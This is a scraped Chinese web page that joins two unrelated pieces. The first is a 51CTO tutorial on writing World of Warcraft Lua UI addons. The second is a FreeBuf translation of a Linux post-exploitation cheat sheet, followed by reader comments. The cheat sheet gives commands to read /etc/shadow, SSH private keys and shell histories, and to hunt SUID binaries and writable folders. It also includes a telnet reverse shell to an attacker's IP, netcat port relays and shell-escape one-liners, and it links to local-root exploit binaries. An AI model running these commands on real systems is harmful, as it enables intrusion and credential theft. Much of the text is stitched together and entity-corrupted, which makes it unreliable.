编写Linux应用/3dmax 插件编写需要哪些知识

51CTO旗下网站
LUA学习笔记:魔兽世界自定义界面插件
LUA学习笔记中魔兽世界自定义界面插件 是本文要介绍的内容,主要是来了解操作系统的库文件没有包含在魔兽世界UI的PATH路径之中,具体内容看本文详解。
作者:佚名来源:bilzzard论坛| 11:44
LUA学习笔记中魔兽世界自定义界面插件 是本文要介绍的内容,主要是来了解操作系统的库文件没有包含在魔兽世界UI的PATH路径之中,本文是对魔兽世界自定义界面插件的介绍,内容主要是如何进行自定义的UI插件(Custom UI)进行定义:
用户界面(UI - User Interface)向导
近来有许多玩家蜂拥而入了WOW团体,他们中有许多,就像我一样,有着一些编程经验并且希望试着创建UI插件。由于有着众多编程语言和接口,不少人可能会走些弯路,我希望以下内容能够减少以上这些情况(至少减少为寻找那些函数的资料而头痛的烦恼):
(译注:其实并不难,其内容只涉及到一些脚本语言和XML文档的知识,就算你没有写过程序,也能胜任。)
1、准备开始
(1)可以选用的工具
第一步必须明白将要做些什么,但是为了能够正确的开始,我们必须选择一些编写脚本的工具。我想首先重要的一点是编辑器(用专业术语来说就是IDE-integrated development evironment), 这可能有许多种选择。由于我们编写脚本的语言是LUA(译注:一种脚本语言,参见:www.lua.org),我们需要的编辑器应当是针对这种语言的,以下十供选择的列表:
blua.sourceforge.net/ (译注:sourceforge.net是一个著名的开源项目网站)
B:Lua这是首当其充的脚本编辑工具之一,它提供了强大的IDE所提供的功能,足够用来编辑WOW的UI。而且它是用Java语言编写的,不论在何种操作系统中尼都能运行它。
www.ideais.com.br/luaeclipse/ (译注:一个运用于Eclipse IDE下的插件,建议使用过Java语言的专业人士使用。)
Lua Eclipse ? 这是另外一个Java环境的IDE,我没有用过这个IDE(译注:本文中的我不代表译者),它基于Eclipse 平台(译注:请参见www.eclipse.org),它是一个有着多种功能的插件,我确信这是一个很好的工具。
editplus.com/ (译注:editPlus是类似于UltraEdit的文本编辑器)
EditPlus ? 这是替代记事本程序的有效工具,这也是我编辑LUA的工具。它有着多种你所需的功能,而且它有着LUA语言的Schema(译注:Schema可以理解为一种模板,它规定者文件如何定义等内容)。但是它有着30天的评估期,你得注册拥有它。
这只是3种建议,我认为一旦掌握了B:Lua后,你就能够更好地使用其它工具了。
(2)目标:WOW文件
你拥有了编辑器后,一切只是刚刚开始,我们需要一些工具来编辑WOW。首选的工具是WinMPQ,下载地址:shadowflare.gameproc.com/dwnload.html#WinMPQ
你需要运行库(VB4运行库)来运行它(译注:一般windows都安装了),有了它你就可以打开游戏目录中的MPQ文件或者MoPaO 文件。MPQ是暴雪公司存储游戏资料的文件格式,如果你有兴趣研究的话,请参阅:www.campaigncreations.org/starcraft/inside_mopaq/index.htm
有了WinMPQ,你就可以解开文件内容,并且打包到游戏安装目录。
了WinMPQ,你就可以解开文件内容,并且打包到游戏安装目录,里面就是你所需的所有内容。Interface.mpq文件里面有基本的界面数据,并且有着大量柯作为例子的文件。Patch.mpq文件里有着所有的补丁内容,在游戏运行时将覆盖所有基础的文件。
打开WinMpq,我们将所有基础界面文件作为例子来使用。下面还将示范如何保证数据与最新的补丁保持一致。使用&Open&选项打开interface.mpq文件(该文件在游戏安装目录下),找到一个叫FrameXML的文件夹(还有一个叫glueXML的文件夹,不去管它),选中目录下所有文件并且解压到游戏安装以外的目录下。
同样,打开Patch.mpq,其中不仅仅有界面文件,还有许多更新文件。打开Interface\FrameXML目录,将其中的内容解压到刚才interface.mpq文件的解压目录中,并覆盖已有的文件。这样我们就有了一份最新的游戏界面FrameXML目录数据作为参考。(你也可以用WinMPQ 解压其他的文件,例如音乐文件等)。
2、有了目标之后
一切准备就绪,让我们开始制作第一个插件吧!
首先你的知道具体文件的安排,哪个文件是做什么的。让我们看以下魔兽世界的安装吧。其中有许多目录,我们将要操作的目录是Interface目录(若不存在请创建)。在该目录下有3个主要的目录:
FrameXML: 有所有暴雪提供的界面,你将打交道的文件都在这。
GlueXML: 包含&游戏之外&的界面,例如登入界面,服务器选择,角色创建等。你不太需要关心这些文件。
AddOns: 所有游戏角色的模型。
在AddOns目录下每个角色都有其所有的目录并且有一个内容表。
(1)初始化
我们要开始创建&Hello world&啦!(译注:&Hello world&常指第一个程序),创建1个叫hello_world的目录在AddOns下,即Warcraft/Interface/AddOns/hello_world。在目录中建立1个叫hello_world.toc的文件,这就是内容表了,它定义了WOW该如何装载插件内容。例如以下就是文件内容:
Interface:&4114& &Title:&Hello&World& &Notes:&The&obligatory&hello&world&script&?&WoW-style!& &OptionalDeps:& &Dependencies:& &hello_world.xml&&
作一下解释,第一行表示新的代码段的开始。事实上每次暴雪更新补丁后,当前的版本号都会更新。如果你的脚本没有最新的版本号,那么这段脚本将&不会&装载入游戏。这就是为什么版本更新导致插件无法使用的原因。
你可以通过打开Interface\FrameXML\FrameXML.toc文件来知道当前的版本号。接下来两行的Title和Nodes就不必解释了吧(译注:分别为标题和注解,可选)。在下一行,OptionalDeps中你可以列出所有你的插件的名称(你可以列出其他插件,用空格分隔)。Dependencies也是同样的,但它不是可选的,我不太确定如果没有这一行你的插件是否会装载。最好所有的都写,不管它是不是可选的,这样所有人都能更好阅读你的代码。
在开始的声明之后,你将写入一些XML文件的名称(次序未定),一行写一个文件的名称。你也可以将XML文件写在子目录中,例如&core/hello_world.xml&,这样能使文件夹里看起来更简洁。
哦。有些复杂了是么?其他不用管先看
(2)加入内容
下面将是最有意思的部分,让我们从简单的开始。在目录中创建hello_world.xml文件(该文件名应写在了FrameXML.toc中),内容如下(译注:XML文件格式请寻找有关文档):
&xmlns=&http://www.blizzard.com/wow/ui/&&xmlns:xsi=&http://www.w3.org/2001/XMLSchema-instance&&
xsi:schemaLocation=&http://www.blizzard.com/wow/ui/&& &&file=&hello_world.lua&& && &&name=&hello_world_core&& && && &this:RegisterEvent(&VARIABLES_LOADED&);& && && &if&(event&==&&VARIABLES_LOADED&)&then& &hello_world_initialize();& &end& && && && &&&
(请看wow.nevir.net/tutorial/hello_world/hello_world.xml)
哦。有些复杂了是么?其他不用管先看&script file=&hello_world.lua&/&这一行,它告诉游戏 hello_world.lua 是脚本文件,也就是插件运行的脚本所在。每个界面都用&Frame&的标签(Tag)扩起来。这里我们使用了一个Frame标签来简单地把所有事件脚本包进来,你也可以将所有的界面上的按钮,窗口等定义在Frame标签里面。在&Frame&标签里,可以定义其一个叫name的属性(如:&Frame name=&hello_world_core&&)
注意里面的值必须在整个文件里是唯一的。建议你用你的插件模块名称作为前缀开始,后接下划线,再接上Frame真正意义的名称。在上面的例子里,我们把它叫做core,因而组成了上述名字。
在&Frame&标签里有个&script&标签,其中是真正脚本的内容。在这里有许多事件(译注:即魔兽世界游戏程序在某阶段将做的某个动作),其中 &onLoad& 和&OnEvent&是最常用的2个。
其中&onLoad&是当你选择了角色进入游戏时而角色Laoding画面开始之前的将响应的事件(换句话说,你的插件在登入画面时是不会被装载的)。在我们的代码中,我们注册了this给了一个叫&VARIABLES_LOADED&的事件(译注:看不懂代码的朋友还是先看看一些脚本语言的介绍书籍),this代表了当前的Frame,即这个名字叫hello_world_core的Frame,this就是指向该Frame的对象/变量(指向该Frame对象的实例),这里的&:&相当于引用方法的表达符(像其他某些脚本语言中的&.& 号),而RegisterEvent函数的作用是告诉游戏程序在VARIABLES_LOADED事件发生时(VARIABLES_LOADED是游戏内定义的事件)通知你定义的Frame。说到这里又得说说&OnEvent&这个标签了,在其中有一个默认的变量event,它的值就是当前游戏里产生的事件的名称(就好比上面的VARIABLES_LOADED)。
(译注: 真的是要了解编程的了哦。 这里处理事件就类似Win32处理事件的代码模式,可以用if(event=事件名称){操作代码}else if(event=事件名称2){操作代码}&..或者 switch case的方式来完成。)
现在,暴雪提供了存储变量的方法,你可以用RegisterForSave(&variable_name&)的方法来定义一个变量在游戏过程中。
在我们的例子中,当VARIABLES_LOADED发生后,将调用hello_world_initialize()函数来处理。对啦,这个hello_world_initialize()函数还没定义呢,下面就介绍如何定义函数。
(3)补完 (译注:写代码的部分,会写脚本的人一定看得懂,不会写的需要学习:&)
好了,现在是真正要写代码的时候了。创建1个叫作hello_world.lua的文件。内容如下:
function&hello_world_initialize()& &&--&add&our&very&first&chat&command!& &&SlashCmdList[&HELLOW&]&=&hello_world_& &&SLASH_HELLOW1&=&&/hellow&;& &&SLASH_HELLOW2&=&&/hw&;& &end &function&hello_world_command(msg)& & & --&this&function&handles&our&chat&command& &message(msg);& &end&&
这里我不想对语法做出解释,如果不懂请看LUA的文档,那里会详细地介绍。参见:www.lua.org/manual/5.0/
注意这里系统的I/O 库文件,操作系统的库文件没有包含在魔兽世界UI的PATH路径之中。至于暴雪定义的函数(内置的)和事件,你可以在Cosmos网站上找到,参阅:www.cosmosui.org/texts/BlizzardCommands.xml
回到代码,在我们的函数中,我们定义了1个聊天用的命令。似乎我们的代码看起来挺怪的,是的,我们是直接修改了SlashCmdList这个表,其作用是当我们输入宏&/hellow 消息& 或者&/hw 消息&是会调用hello_world_command()函数,(至于游戏内部如何这种关系做映射不在本文讨论范围内)然后玩家看到打出&消息&的聊天信息的窗口(译注:事实上是msg()函数创建的窗口)。可以看到&消息&作为参数传递给了hello_world_command()函数。
以上所有做的就是一个简单的插件,它加入了两条命令(宏)。如果你想测试它,进入游戏,输入/console reloadui(重新加载UI),在登入游戏后的聊天框中输入&/hellow Why hello there!&,你会看到游戏中弹出一个消息框,消息是&Why hello there!&。
这就是我们基本的例子,以后我可能抽空给出一些其它的例子。
如果你已经完成了以上这个例子,我真是要为你鼓掌了呀!(那花了你不少时间来阅读吧。)
如果你感兴趣的话,以下还有不少资料:LUA (www.lua.org/manual/5.0/),暴雪定义的函数(www.cosmosui.org/texts/BlizzardCommands.xml)。另外,试着看看Interface/FrameXML/BasicControls.xml文件,里面有不少操控语句;还有Font.xml文件,你可以定义自己的字体,颜色等。
小结:LUA学习笔记:魔兽世界自定义界面插件的内容介绍完了,希望通过本文的学习能对你有所帮助!【编辑推荐】【责任编辑: TEL:(010)】
大家都在看猜你喜欢
头条热点热点热点热点
24H热文一周话题本月最赞
讲师:51287人学习过
讲师:27428人学习过
讲师:131439人学习过
精选博文论坛热帖下载排行
本书是一本知识全面、系统、专业的网络工程基础知识必备图书。全书条理清晰、逻辑性强,遵循从全局到细节,从底层基础到高层应用的顺序全面...
订阅51CTO邮刊史上最全Linux提权后获取敏感信息方法 - FreeBuf互联网安全新媒体平台 | 关注黑客与极客
史上最全Linux提权后获取敏感信息方法
共758106人围观
,发现 45 个不明物体
在本文开始之前,我想指出我不是专家。据我所知,在这个庞大的区域,没有一个“神奇”的答案.分享,共享(我的出发点)。下面是一个混合的命令做同样的事情,在不同的地方,或只是一个不同的眼光来看待事物。我知道有更多的“东西”去寻找。这只是一个基本粗略的指南。并不是每一个命令,做好要注重细节.
文中的每行为一条命令,文中有的命令可能在你的主机上敲不出来,因为它可能是在其他版本的linux中所使用的命令。
列举关键点
(Linux)的提权是怎么一回事:
&收集&–&枚举,枚举和一些更多的枚举。
&过程&–&通过数据排序,分析和确定优先次序。
&搜索&–&知道搜索什么和在哪里可以找到漏洞代码。
&适应&–&自定义的漏洞,所以它适合。每个系统的工作并不是每一个漏洞“都固定不变”。
&尝试&–&做好准备,试验和错误。
系统是什么版本?
cat&/etc/issue
cat&/etc/*-release
cat&/etc/lsb-release
cat&/etc/redhat-release
它的内核版本是什么?
cat&/proc/version&&
uname&-mrs
rpm&-q&kernel
dmesg&|&grep&Linux
ls&/boot&|&grep&vmlinuz
它的环境变量里有些什么?
cat&/etc/profile
cat&/etc/bashrc
cat&~/.bash_profile
cat&~/.bashrc
cat&~/.bash_logout
是否有台打印机?
应用与服务
正在运行什么服务?什么样的服务具有什么用户权限?
cat&/etc/service
哪些服务具有root的权限?这些服务里你看起来那些有漏洞,进行再次检查!
ps&aux&|&grep&root
ps&-ef&|&grep&root
安装了哪些应用程序?他们是什么版本?哪些是当前正在运行的?
ls&-alh&/usr/bin/
ls&-alh&/sbin/
ls&-alh&/var/cache/apt/archivesO
ls&-alh&/var/cache/yum/
Service设置,有任何的错误配置吗?是否有任何(脆弱的)的插件?
cat&/etc/syslog.conf
cat&/etc/chttp.conf
cat&/etc/lighttpd.conf
cat&/etc/cups/cupsd.conf
cat&/etc/inetd.conf
cat&/etc/apache2/apache2.conf
cat&/etc/my.conf
cat&/etc/httpd/conf/httpd.conf
cat&/opt/lampp/etc/httpd.conf
ls&-aRl&/etc/&|&awk&‘$1&~&/^.*r.*/
主机上有哪些工作计划?
crontab&-l
ls&-alh&/var/spool/cron
ls&-al&/etc/&|&grep&cron
ls&-al&/etc/cron*
cat&/etc/cron*
cat&/etc/at.allow
cat&/etc/at.deny
cat&/etc/cron.allow
cat&/etc/cron.deny
cat&/etc/crontab
cat&/etc/anacrontab
cat&/var/spool/cron/crontabs/root
主机上可能有哪些纯文本用户名和密码?
grep&-i&user&[filename]
grep&-i&pass&[filename]
grep&-C&5&&password&&[filename]
find&.&-name&&*.php&&-print0&|&xargs&-0&grep&-i&-n&&var&$password&&&&#&Joomla
通信与网络
NIC(s),系统有哪些?它是连接到哪一个网络?
/sbin/ifconfig&-a
cat&/etc/network/interfaces
cat&/etc/sysconfig/network
网络配置设置是什么?网络中有什么样的服务器?DHCP服务器?DNS服务器?网关?
cat&/etc/resolv.conf
cat&/etc/sysconfig/network
cat&/etc/networks
iptables&-L
dnsdomainname
其他用户主机与系统的通信?
lsof&-i&:80
grep&80&/etc/services
netstat&-antup
netstat&-antpx
netstat&-tulpn
chkconfig&--list
chkconfig&--list&|&grep&3:on
缓存?IP和/或MAC地址?
/sbin/route&-nee
数据包可能嗅探吗?可以看出什么?监听流量
#&tcpdump&tcp&dst&[ip]&[port]&and&tcp&dst&[ip]&[port]
tcpdump&tcp&dst&192.168.1.7&80&and&tcp&dst&10.2.2.222&21
你如何get一个shell?你如何与系统进行交互?
#&http://lanmaster53.com/-linux-shells-using-built-in-tools/
nc&-lvp&4444&&&&#&Attacker.&输入&(命令)
nc&-lvp&4445&&&&#&Attacker.&输出(结果)
telnet&[atackers&ip]&44444&|&/bin/sh&|&[local&ip]&44445&&&&#&在目标系统上.&使用&攻击者的IP!
如何端口转发?(端口重定向)
#&http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch
#&FPipe.exe&-l&[local&port]&-r&[remote&port]&-s&[local&port]&[local&IP]
FPipe.exe&-l&80&-r&80&-s&80&192.168.1.7
#&ssh&-[L/R]&[local&port]:[remote&ip]:[remote&port]&[local&user]@[local&ip]
ssh&-L&.0.1:80&root@192.168.1.7&&&&#&Local&Port
ssh&-R&.0.1:80&root@192.168.1.7&&&&#&Remote&Port
#&mknod&backpipe&p&;&nc&-l&-p&[remote&port]&&&backpipe&&|&nc&[local&IP]&[local&port]&&backpipe
mknod&backpipe&p&;&nc&-l&-p&8080&&&backpipe&|&nc&10.1.1.251&80&&backpipe&&&&#&Port&Relay
mknod&backpipe&p&;&nc&-l&-p&8080&0&&&&&backpipe&|&tee&-a&inflow&|&nc&localhost&80&|&tee&-a&outflow&1&backpipe&&&&#&Proxy&(Port&80&to&8080)
backpipe&p&;&nc&-l&-p&8080&0&&&&&backpipe&|&tee&-a&inflow&|&nc
localhost&80&|&tee&-a&outflow&&&1&backpipe&&&&#&Proxy&monitor&(Port&80&to&8080)
建立隧道可能吗?本地,远程发送命令
ssh&-D&127.0.0.1:9050&-N&[username]@[ip]
proxychains&ifconfig
秘密信息和用户
你是谁?哪个id登录?谁已经登录?还有谁在这里?谁可以做什么呢?
cat&/etc/passwd&|&cut&-d:&&&&#&List&of&users
grep&-v&-E&&^#&&/etc/passwd&|&awk&-F:&'$3&==&0&{&print&$1}'&&&#&List&of&super&users
awk&-F:&'($3&==&&0&)&{print}'&/etc/passwd&&&#&List&of&super&users
cat&/etc/sudoers
可以找到什么敏感文件?
cat&/etc/passwd
cat&/etc/group
cat&/etc/shadow
ls&-alh&/var/mail/
什么有趣的文件在home/directorie(S)里?如果有权限访问
ls&-ahlR&/root/
ls&-ahlR&/home/
是否有任何密码,脚本,数据库,配置文件或日志文件?密码默认路径和位置
cat&/var/apache2/config.inc
cat&/var/lib/mysql/mysql/user.MYD
cat&/root/anaconda-ks.cfg
用户做过什么?是否有任何密码呢?他们有没有编辑什么?
cat&~/.bash_history
cat&~/.nano_history
cat&~/.atftp_history
cat&~/.mysql_history
cat&~/.php_history
可以找到什么样的用户信息
cat&~/.bashrc
cat&~/.profile
cat&/var/mail/root
cat&/var/spool/mail/root
private-key 信息能否被发现?
cat&~/.ssh/authorized_keys
cat&~/.ssh/identity.pub
cat&~/.ssh/identity
cat&~/.ssh/id_rsa.pub
cat&~/.ssh/id_rsa
cat&~/.ssh/id_dsa.pub
cat&~/.ssh/id_dsa
cat&/etc/ssh/ssh_config
cat&/etc/ssh/sshd_config
cat&/etc/ssh/ssh_host_dsa_key.pub
cat&/etc/ssh/ssh_host_dsa_key
cat&/etc/ssh/ssh_host_rsa_key.pub
cat&/etc/ssh/ssh_host_rsa_key
cat&/etc/ssh/ssh_host_key.pub
cat&/etc/ssh/ssh_host_key
哪些用户可以写配置文件在/ etc /?能够重新配置服务?
ls&-aRl&/etc/&|&awk&‘$1&~&/^.*w.*/'&2&/dev/null&&&&&#&Anyone
ls&-aRl&/etc/&|&awk&’$1&~&/^..w/'&2&/dev/null&&&&&&&&#&Owner
ls&-aRl&/etc/&|&awk&‘$1&~&/^.....w/'&2&/dev/null&&&&#&Group
ls&-aRl&/etc/&|&awk&’;$1&~&/w.$/'&2&/dev/null&&&&&&&&&&#&Other
find&/etc/&-readable&-type&f&2&/dev/null&&&&&&&&&&&&&&&&&&&&&&&&&#&Anyone
find&/etc/&-readable&-type&f&-maxdepth&1&2&/dev/null&&&#&Anyone
在/ var /有什么可以发现?
ls&-alh&/var/log
ls&-alh&/var/mail
ls&-alh&/var/spool
ls&-alh&/var/spool/lpd
ls&-alh&/var/lib/pgsql
ls&-alh&/var/lib/mysql
cat&/var/lib/dhcp3/dhclient.leases
网站上的任何隐藏配置/文件?配置文件与数据库信息?
ls&-alhR&/var/www/
ls&-alhR&/srv/www/htdocs/
ls&-alhR&/usr/local/www/apache22/data/
ls&-alhR&/opt/lampp/htdocs/
ls&-alhR&/var/www/html/
有什么在日志文件里?(什么能够帮助到“本地文件包含”?)
#&http://www.thegeekstuff.com/2011/08/linux-var-log-files/
cat&/etc/httpd/logs/access_log
cat&/etc/httpd/logs/access.log
cat&/etc/httpd/logs/error_log
cat&/etc/httpd/logs/error.log
cat&/var/log/apache2/access_log
cat&/var/log/apache2/access.log
cat&/var/log/apache2/error_log
cat&/var/log/apache2/error.log
cat&/var/log/apache/access_log
cat&/var/log/apache/access.log
cat&/var/log/auth.log
cat&/var/log/chttp.log
cat&/var/log/cups/error_log
cat&/var/log/dpkg.log
cat&/var/log/faillog
cat&/var/log/httpd/access_log
cat&/var/log/httpd/access.log
cat&/var/log/httpd/error_log
cat&/var/log/httpd/error.log
cat&/var/log/lastlog
cat&/var/log/lighttpd/access.log
cat&/var/log/lighttpd/error.log
cat&/var/log/lighttpd/lighttpd.access.log
cat&/var/log/lighttpd/lighttpd.error.log
cat&/var/log/messages
cat&/var/log/secure
cat&/var/log/syslog
cat&/var/log/wtmp
cat&/var/log/xferlog
cat&/var/log/yum.log
cat&/var/run/utmp
cat&/var/webmin/miniserv.log
cat&/var/www/logs/access_log
cat&/var/www/logs/access.log
ls&-alh&/var/lib/dhcp3/
ls&-alh&/var/log/postgresql/
ls&-alh&/var/log/proftpd/
ls&-alh&/var/log/samba/
auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info,
mail.log, mail.warn, messages, syslog, udev, wtmp(有什么文件?log.系统引导……)
如果命令限制,你可以打出哪些突破它的限制?
python&-c&'import&pty.spawn(&/bin/bash&)'
echo&os.system('/bin/bash')
/bin/sh&-i
如何安装文件系统?
是否有挂载的文件系统?
cat&/etc/fstab
什么是高级Linux文件权限使用?Sticky bits, SUID 和GUID
find&/&-perm&-1000&-type&d&2&/dev/null&&&&#&Sticky&bit&-&Only&the&owner&of&the&directory&or&the&owner&of&a&file&can&delete&or&rename&here
find&/&-perm&-g=s&-type&f&2&/dev/null&&&&#&SGID&(chmod&2000)&-&run&as&the&&group,&not&the&user&who&started&it.
find&/&-perm&-u=s&-type&f&2&/dev/null&&&&#&SUID&(chmod&4000)&-&run&as&the&&owner,&not&the&user&who&started&it.
find&/&-perm&-g=s&-o&-perm&-u=s&-type&f&2&/dev/null&&&&#&SGID&or&SUID
for&i&in&`locate&-r&&bin$&`;&do&find&$i&(&-perm&-4000&-o&-perm&-2000&)&-type&f&2&/dev/&done&&&&#
Looks&in&'common'&places:&/bin,&/sbin,&/usr/bin,&/usr/sbin,
/usr/local/bin,&/usr/local/sbin&and&any&other&*bin,&for&SGID&or&SUID
(Quicker&search)
findstarting&at&root&(/),&SGIDorSUID,&not&Symbolic&links,&only&3
folders&deep,&list&with&more&detail&and&hideany&errors&(e.g.&permission
find/-perm&-g=s-o-perm&-4000!&-type&l-maxdepth&3&-exec&ls&-ld&{}&;2&/dev/null
在哪些目录可以写入和执行呢?几个“共同”的目录:/ tmp目录,/var / tmp目录/ dev /shm目录
find&/&-writable&-type&d&2&/dev/null&&&&&&&&#&world-writeable&folders
find&/&-perm&-222&-type&d&2&/dev/null&&&&&&#&world-writeable&folders
find&/&-perm&-o+w&-type&d&2&/dev/null&&&&#&world-writeable&folders
find&/&-perm&-o+x&-type&d&2&/dev/null&&&&#&world-executable&folders
find&/&(&-perm&-o+w&-perm&-o+x&)&-type&d&2&/dev/null&&&#&world-writeable&&&executable&folders
Any&&problem&&files?可写的的,“没有使用&的文件
find&/&-xdev&-type&d&(&-perm&-0002&-a&!&-perm&-1000&)&-print&&&#&world-writeable&files
find&/dir&-xdev&(&-nouser&-o&-nogroup&)&-print&&&#&Noowner&files
准备和查找漏洞利用代码
安装了什么开发工具/语言/支持?
find&/&-name&perl*
find&/&-name&python*
find&/&-name&gcc*
find&/&-name&cc
如何上传文件?
find&/&-name&wget
find&/&-name&nc*
find&/&-name&netcat*
find&/&-name&tftp*
find&/&-name&ftp
查找exploit代码
http://www.exploit-db.com
http://1337day.com
http://www.securiteam.com
http://www.securityfocus.com
http://www.exploitsearch.net
http://metasploit.com/modules/
http://securityreason.com
http://seclists.org/fulldisclosure/
http://www.google.com
查找更多有关漏洞的信息
http://www.cvedetails.com
http://packetstormsecurity.org/files/cve/[CVE]
http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]]http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]
http://www.vulnview.com/cve-details.php?cvename=[CVE]]http://www.vulnview.com/cve-details.php?cvename=[CVE]
http://www.91ri.org/
(快速)“共同的“exploit,预编译二进制代码文件
http://tarantula.by.ru/localroot/
http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/
上面的信息很难吗?
快去使用第三方脚本/工具来试试吧!
系统怎么打内核,操作系统,所有应用程序,插件和Web服务的最新补丁?
apt-get&update&&&&apt-get&upgrade
yum&update
服务运行所需的最低的权限?
例如,你需要以root身份运行MySQL?
能够从以下网站找到自动运行的脚本?!
http://pentestmonkey.net/tools/unix-privesc-check/
http://labs.portcullis.co.uk/application/enum4linux/
http://bastille-linux.sourceforge.net
(快速)指南和链接
http://www.0daysecurity.com/penetration-testing/enumeration.html
http://www.microloft.co.uk/hacking/hacking3.htm
http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf
http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf
http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html
我不紧不慢的提上裤子,系好皮带,将烟头丢进了马桶,按下了冲水开关,抬着两条已经发麻的大腿,慢慢的走在回房间的路上,躺在床上久久不能入睡,脑海里一直想着楼主的这篇文章,不仅改变了我对Linux提权后获取敏感信息方法的认识,更让我明白了写了这么牛逼的文章是如何通过实战演练而积攒下来的。
刚想说感谢楼主的共享,然后看到了如下的内容###################操作类型操作类型是什么版本?###################这么简单的错误。。。难道这篇文章是机翻的?伴随着这个问题。本人无聊的在网上搜了搜,大致有下面这么点结果###################作者:g0tmi1khttp://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation.html应该是原文出处作者:应该是楼主http://www.91ri.org/7459.html作者:应该是楼主http://www.tuicool.com/articles/NfYvya3作者:应该是楼主http://www.itlearner.com/article/5057.........若干其他###################在上述所有的文章中,都没有看到引用和原文的地址,译文标注出处是最对原作者最基础的尊重,为什么楼主连这点都做不到。对于翻译工作者,我们应该是要表示感谢的,但是像楼主这样的不标注原文并到处发布这类文档,小编就不应该给予通过。
必须您当前尚未登录。
必须(保密)
关注我们 分享每日精选文章
可以给我们打个分吗?

我要回帖

更多关于 js插件编写 的文章

 

随机推荐